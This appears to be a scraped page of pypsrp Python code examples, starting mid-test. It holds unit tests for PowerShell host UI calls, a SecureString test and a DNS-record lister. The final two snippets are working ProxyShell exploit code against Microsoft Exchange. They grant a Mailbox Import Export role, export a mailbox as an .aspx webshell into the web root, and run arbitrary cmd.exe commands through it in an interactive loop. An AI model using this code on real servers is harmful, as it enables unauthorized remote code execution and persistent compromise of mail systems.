$buffer_cell2_2 = New-Object -TypeName System.Management.Automation.Host.BufferCell -ArgumentList "D", ([System.ConsoleColor]::Black), ([System.ConsoleColor]::White), ([System.Management.Automation.Host.BufferCellType]::Trailing)

$cells = New-Object -TypeName "System.Management.Automation.Host.BufferCell[,]" -ArgumentList 2,2
$cells[0,0] = $buffer_cell1_1
$cells[0,1] = $buffer_cell1_2
$cells[1,1] = $buffer_cell2_2
$cells[1,0] = $buffer_cell2_1
$host.UI.RawUI.SetBufferContents($coordinates, $cells)

$host.UI.RawUI.ScrollBufferContents($rectangle, $coordinates, $rectangle, $buffer_cell)''')
            actual = ps.invoke()

        assert len(actual) == 17

        assert str(actual[0]) == "White"
        assert str(actual[1]) == "Green"
        assert set_foreground_color.call_count == 1
        assert isinstance(set_foreground_color.call_args[0][0], RunspacePool)
        assert isinstance(set_foreground_color.call_args[0][1], PowerShell)
        assert set_foreground_color.call_args[0][2] == Color.GREEN

        assert str(actual[2]) == "Blue"
        assert str(actual[3]) == "Red"
        assert set_background_color.call_count == 1
        assert isinstance(set_background_color.call_args[0][0], RunspacePool)
        assert isinstance(set_background_color.call_args[0][1], PowerShell)
        assert set_background_color.call_args[0][2] == Color.RED

        assert str(actual[4]) == "1,2"
        assert str(actual[5]) == "11,12"
        assert set_cursor_position.call_count == 1
        assert isinstance(set_cursor_position.call_args[0][0], RunspacePool)
        assert isinstance(set_cursor_position.call_args[0][1], PowerShell)
        assert set_cursor_position.call_args[0][2].extended_properties['x'] \
            == 11
        assert set_cursor_position.call_args[0][2].extended_properties['y'] \
            == 12

        assert str(actual[6]) == "3,4"
        assert str(actual[7]) == "13,14"
        assert set_window_position.call_count == 1
        assert isinstance(set_window_position.call_args[0][0], RunspacePool)
        assert isinstance(set_window_position.call_args[0][1], PowerShell)
        assert set_window_position.call_args[0][2].extended_properties['x'] \
            == 13
        assert set_window_position.call_args[0][2].extended_properties['y'] \
            == 14

        assert actual[8] == 50
        assert actual[9] == 25
        assert set_cursor_size.call_count == 1
        assert isinstance(set_cursor_size.call_args[0][0], RunspacePool)
        assert isinstance(set_cursor_size.call_args[0][1], PowerShell)
        assert set_cursor_size.call_args[0][2] == 25

        assert str(actual[10]) == "80,80"
        assert str(actual[11]) == "8,9"
        assert set_buffer_size.call_count == 1
        assert isinstance(set_buffer_size.call_args[0][0], RunspacePool)
        assert isinstance(set_buffer_size.call_args[0][1], PowerShell)
        assert isinstance(set_buffer_size.call_args[0][2],
                          GenericComplexObject)
        assert set_buffer_size.call_args[0][2].extended_properties['width'] \
            == 8
        assert set_buffer_size.call_args[0][2].extended_properties['height'] \
            == 9

        assert str(actual[12]) == "80,80"
        assert str(actual[13]) == "8,9"
        assert set_window_size.call_count == 1
        assert isinstance(set_window_size.call_args[0][0], RunspacePool)
        assert isinstance(set_window_size.call_args[0][1], PowerShell)
        assert isinstance(set_window_size.call_args[0][2],
                          GenericComplexObject)
        assert set_window_size.call_args[0][2].extended_properties['width'] \
            == 8
        assert set_window_size.call_args[0][2].extended_properties['height'] \
            == 9

        assert actual[14] == "pypsrp window"
        assert actual[15] == "New Window Title"
        assert set_window_title.call_count == 1
        assert isinstance(set_window_title.call_args[0][0], RunspacePool)
        assert isinstance(set_window_title.call_args[0][1], PowerShell)
        assert set_window_title.call_args[0][2] == "New Window Title"

        assert str(actual[16]) == "65,a,CapsLockOn,True"
        assert isinstance(actual[16], KeyInfoDotNet)
        assert read_key.call_count == 1
        assert isinstance(read_key.call_args[0][0], RunspacePool)
        assert isinstance(read_key.call_args[0][1], PowerShell)
        assert read_key.call_args[0][2] == 4

        assert flush_input.call_count == 1
        assert isinstance(flush_input.call_args[0][0], RunspacePool)
        assert isinstance(flush_input.call_args[0][1], PowerShell)

        assert set_buffer1.call_count == 1
        assert isinstance(set_buffer1.call_args[0][0], RunspacePool)
        assert isinstance(set_buffer1.call_args[0][1], PowerShell)
        assert isinstance(set_buffer1.call_args[0][2], GenericComplexObject)
        assert set_buffer1.call_args[0][2].extended_properties['left'] == 1
        assert set_buffer1.call_args[0][2].extended_properties['top'] == 2
        assert set_buffer1.call_args[0][2].extended_properties['right'] == 3
        assert set_buffer1.call_args[0][2].extended_properties['bottom'] == 4
        fill = set_buffer1.call_args[0][3]
        assert isinstance(fill, GenericComplexObject)
        assert fill.extended_properties['character'] == "Z"
        assert fill.extended_properties['foregroundColor'] == 12
        assert fill.extended_properties['backgroundColor'] == 10
        assert fill.extended_properties['bufferCellType'] == 0

        assert set_buffer2.call_count == 1
        assert isinstance(set_buffer2.call_args[0][0], RunspacePool)
        assert isinstance(set_buffer2.call_args[0][1], PowerShell)
        assert isinstance(set_buffer2.call_args[0][2], GenericComplexObject)
        assert set_buffer2.call_args[0][2].extended_properties['x'] == 15
        assert set_buffer2.call_args[0][2].extended_properties['y'] == 15
        assert isinstance(set_buffer2.call_args[0][3], GenericComplexObject)
        assert set_buffer2.call_args[0][3].extended_properties['mal'] == [2, 2]
        set_contents = set_buffer2.call_args[0][3].extended_properties['mae']
        assert len(set_contents) == 4
        assert set_contents[0].extended_properties['character'] == "A"
        assert set_contents[0].extended_properties['foregroundColor'] == 0
        assert set_contents[0].extended_properties['backgroundColor'] == 15
        assert set_contents[0].extended_properties['bufferCellType'] == 1
        assert set_contents[1].extended_properties['character'] == "B"
        assert set_contents[1].extended_properties['foregroundColor'] == 0
        assert set_contents[1].extended_properties['backgroundColor'] == 15
        assert set_contents[1].extended_properties['bufferCellType'] == 2
        assert set_contents[2].extended_properties['character'] == "C"
        assert set_contents[2].extended_properties['foregroundColor'] == 0
        assert set_contents[2].extended_properties['backgroundColor'] == 15
        assert set_contents[2].extended_properties['bufferCellType'] == 1
        assert set_contents[3].extended_properties['character'] == "D"
        assert set_contents[3].extended_properties['foregroundColor'] == 0
        assert set_contents[3].extended_properties['backgroundColor'] == 15
        assert set_contents[3].extended_properties['bufferCellType'] == 2

        assert scroll_buffer.call_count == 1
        assert isinstance(scroll_buffer.call_args[0][0], RunspacePool)
        assert isinstance(scroll_buffer.call_args[0][1], PowerShell)
        source = scroll_buffer.call_args[0][2]
        assert isinstance(source, GenericComplexObject)
        assert source.extended_properties['left'] == 1
        assert source.extended_properties['top'] == 2
        assert source.extended_properties['right'] == 3
        assert source.extended_properties['bottom'] == 4
        destination = scroll_buffer.call_args[0][3]
        assert isinstance(destination, GenericComplexObject)
        assert destination.extended_properties['x'] == 15
        assert destination.extended_properties['y'] == 15
        clip = scroll_buffer.call_args[0][4]
        assert isinstance(clip, GenericComplexObject)
        assert clip.extended_properties['left'] == 1
        assert clip.extended_properties['top'] == 2
        assert clip.extended_properties['right'] == 3
        assert clip.extended_properties['bottom'] == 4
        fill = scroll_buffer.call_args[0][5]
        assert isinstance(fill, GenericComplexObject)
        assert fill.extended_properties['character'] == "Z"
        assert fill.extended_properties['foregroundColor'] == 12
        assert fill.extended_properties['backgroundColor'] == 10
        assert fill.extended_properties['bufferCellType'] == 0
コード例 #14
0
    def test_psrp(self, functional_transports):
        for wsman in functional_transports:
            with wsman, RunspacePool(wsman) as pool:
                pool.exchange_keys()
                ps = PowerShell(pool)
                ps.add_cmdlet("Get-Item").add_parameter("Path", "C:\\Windows")
                ps.add_statement()

                sec_string = pool.serialize("super secret", ObjectMeta("SS"))
                ps.add_cmdlet("Set-Variable")
                ps.add_parameter("Name", "password")
                ps.add_parameter("Value", sec_string)

                ps.add_statement().add_script(
                    "[System.Runtime.InteropServices.marshal]"
                    "::PtrToStringAuto([System.Runtime.InteropServices.marshal]"
                    "::SecureStringToBSTR($password))")
                ps.add_statement().add_cmdlet("ConvertTo-SecureString")
                ps.add_parameter("String", "host secret")
                ps.add_parameter("AsPlainText")
                ps.add_parameter("Force")

                large_string = "hello world " * 3000
                ps.add_statement()
                ps.add_script(
                    "$VerbosePreference = 'Continue'; Write-Verbose '%s'" %
                    large_string)

                actual = ps.invoke()

            assert ps.had_errors is False
            assert len(actual) == 3
            assert str(actual[0]) == "C:\\Windows"
            assert actual[1] == "super secret"
            assert actual[2] == "host secret"
            assert str(ps.streams.verbose[0]) == large_string
コード例 #15
0
    def get_entries(self):
        dns_fw_dm, dns_rv_dm = ([] for i in range(2))

        # On a per-zone basis gets all the current DNS entries that will then be compared to those in the CSV
        for csv_dns_fw in self.csv_dns_fw_dm :
            for domain in csv_dns_fw.keys():
                with RunspacePool(self.wsman_conn) as pool:
                    ps = PowerShell(pool)
                    # The powershell cmd is "Get-DnsServerResourceRecord -ZoneName stesworld.com -RRType A"
                    ps.add_cmdlet("Invoke-Expression").add_parameter("Command", "Get-DnsServerResourceRecord -ZoneName {} -RRType A".format(domain))
                    ps.add_cmdlet("Out-String").add_parameter("Stream")
                    ps.invoke()
                    dns_fw_records = ps.output

                # From the ps output create a list for the dns_fw DM dict value [('ip', 'name', ttl)]
                ip_name_ttl = []
                if len(dns_fw_records) == 0:                # skips if no A records in the zone
                    pass
                else:
                    for a in dns_fw_records[3:-2]:          # Elimates headers and trailing blank lines
                        a = a.split()
                        ip_name_ttl .append((a[-1], a[0].lower(), a[-2]))
                    # Add the list as the value for for a dict where the zone name is the key [{fw_zone: [(ip, name, ttl)]}]
                    dns_fw_dm.append({domain: ip_name_ttl})

        # On a per-reverse-zone basis gets all the current DNS entries that will then be compared to those in the CSV
        for csv_dns_rv in self.csv_dns_rv_dm:
            for rev_zone in csv_dns_rv.keys():
                with RunspacePool(self.wsman_conn) as pool:
                    ps = PowerShell(pool)
                    ps.add_cmdlet("Invoke-Expression").add_parameter("Command", "Get-DnsServerResourceRecord -ZoneName {} -RRType PTR".format(rev_zone))
                    ps.add_cmdlet("Out-String").add_parameter("Stream")
                    ps.invoke()
                    dns_rv_records = ps.output

                hst_name = []
                if len(dns_rv_records) == 0:    # skips if no PTR records in the zone
                    pass
                else:
                    for ptr in dns_rv_records[3:-2]:
                        ptr = ptr.split()
                        hst_name.append((ptr[0], ptr[-1].lower()))
                dns_rv_dm.append({rev_zone: hst_name})      # creates DM where rv_zone name is the key [{rv_zone: [(host, domain_name)]}]

        return [dns_fw_dm, dns_rv_dm]
コード例 #16
0
ファイル: exploit.py プロジェクト: BlackSnufkin/PT-ToolKit
def exploit_stage4(target, auth_b64, alias_name, subject, fShell):
    logger.debug("[Stage 4] Dealing with WSMV")
    wsman = WSMan(server=target, port=443,
    path='/autodiscover/[email protected]/Powershell?X-Rps-CAT=' + auth_b64 +'&Email=autodiscover/autodiscover.json%[email protected]', 
    ssl="true", 
    cert_validation=False)
    logger.debug("[Stage 4] Dealing with PSRP")
    with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
        logger.debug("[Stage 4] Assign Management Role")
        ps = PowerShell(pool)
        #ps.add_cmdlet("Get-User")
        ps.add_cmdlet("New-ManagementRoleAssignment")
        ps.add_parameter("Role", "Mailbox Import Export")
        ps.add_parameter("SecurityGroup", "Organization Management")
        output = ps.invoke()
        
    with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
        
        logger.debug("[Stage 4] Exporting MailBox as Webshell")
        ps = PowerShell(pool)
        ps.add_cmdlet("New-MailboxExportRequest")
        ps.add_parameter("Mailbox", alias_name)
        ps.add_parameter("Name", subject)
        ps.add_parameter("ContentFilter", "Subject -eq '%s'" % (subject))
        ps.add_parameter("FilePath", "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\%s" % fShell)
        output = ps.invoke()
        logger.debug("[Stage 4] Webshell Path: c:\\inetpub\\wwwroot\\aspnet_client\\%s" % fShell)

    with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
        
        logger.debug("[Stage 4] Cleaning Notification")
        ps = PowerShell(pool)
        ps.add_script("Get-MailboxExportRequest | Remove-MailboxExportRequest -Confirm:$false")
        output = ps.invoke()
コード例 #17
0
def shell(command, port, proxyshell):

    # From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
    if command.lower() in ['exit', 'quit']:
        exit()

    wsman = WSMan("127.0.0.1", username='', password='', ssl=False, port=port, auth='basic', encryption='never')
    with RunspacePool(wsman, configuration_name='Microsoft.Exchange') as pool:
        

        if command.lower().strip() == 'dropshell':
            drop_shell(proxyshell)

            ps = PowerShell(pool)
            ps.add_cmdlet('New-ManagementRoleAssignment').add_parameter('Role', 'Mailbox Import Export').add_parameter('User', proxyshell.email)
            output = ps.invoke()
            print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
            print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))

            ps = PowerShell(pool)
            ps.add_cmdlet(
                'New-MailboxExportRequest'
            ).add_parameter(
                'Mailbox', proxyshell.email
            ).add_parameter(
                'FilePath', f'\\\\localhost\\c$\\inetpub\\wwwroot\\aspnet_client\\{proxyshell.rand_subj}.aspx'
            ).add_parameter(
                'IncludeFolders', '#Drafts#'
            ).add_parameter(
                'ContentFilter', f'Subject -eq \'{proxyshell.rand_subj}\''
            )
            output = ps.invoke()

            print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
            print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))

            shell_url = f'{proxyshell.exchange_url}/aspnet_client/{proxyshell.rand_subj}.aspx'
            print(f'Shell URL: {shell_url}')
            for i in range(10):
                print(f'Testing shell {i}')
                r = requests.get(shell_url, verify=proxyshell.session.verify)
                if r.status_code == 200:
                    delimit = rand_string()
                    
                    while True:
                        cmd = input('Shell> ')
                        if cmd.lower() in ['exit', 'quit']:
                            return

                        exec_code = f'Response.Write("{delimit}" + new ActiveXObject("WScript.Shell").Exec("cmd.exe /c {cmd}").StdOut.ReadAll() + "{delimit}");'
                        r = requests.get(
                            shell_url,
                            params={
                                'exec_code':exec_code
                            },
                            verify=proxyshell.session.verify
                        )
                        output = r.content.split(delimit.encode())[1]
                        print(output.decode())

                time.sleep(5)
                i += 1

            print('Shell drop failed :(')
            return

        else:
            ps = PowerShell(pool)
            ps.add_script(command)
            output = ps.invoke()

    print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
    print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))